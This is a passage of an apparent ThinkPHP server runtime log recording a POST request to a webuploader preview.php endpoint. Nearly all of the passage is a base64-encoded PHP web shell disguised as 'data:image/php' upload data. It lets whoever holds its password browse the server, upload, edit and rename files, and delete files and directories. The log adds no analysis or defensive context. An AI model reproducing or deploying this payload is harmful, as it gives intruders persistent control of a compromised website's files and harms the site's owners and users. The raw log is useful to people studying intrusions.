ICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:05:13+08:00 ] 119.42.146.234 POST 59.110.137.245/app/app/webuploader/0.1.5/server/preview.php [运行时间:0.002777s] [吞吐率:360.09req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'app', 2 => 'app', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPS